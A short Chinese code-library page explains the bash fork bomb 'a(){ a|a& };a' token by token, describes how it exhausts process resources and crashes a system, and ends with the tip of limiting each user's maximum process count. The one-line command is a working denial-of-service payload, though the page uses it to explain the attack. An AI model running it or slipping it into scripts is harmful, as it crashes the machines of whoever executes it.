首页 > 代码库 > fork炸弹

fork炸弹

格式

a(){ a|a& };a

注解如下:

  • a() # 定义函数,函数名为a
  • { # 函数开始标识
  • a # 用递归方式调用a函数本身
  • | # 并用管道(pipe)
  • a # 再次递归调用的a函数 那么a|a表示的即是每次调用函数a的时候就会生成两份拷贝
  • & # 调用间脱钩,以使最初的a函数被杀死后为其所调用的两个a函数还能继续执行
  • } # 函数结束标识
  • ; # 函数定义结束后将要进行的操作
  • a # 调用a函数,引爆fork炸弹

通过不断复制启用新进程,导致系统资源被用尽而崩溃

预防办法:对单用户启动最大进程数量进行限制

fork炸弹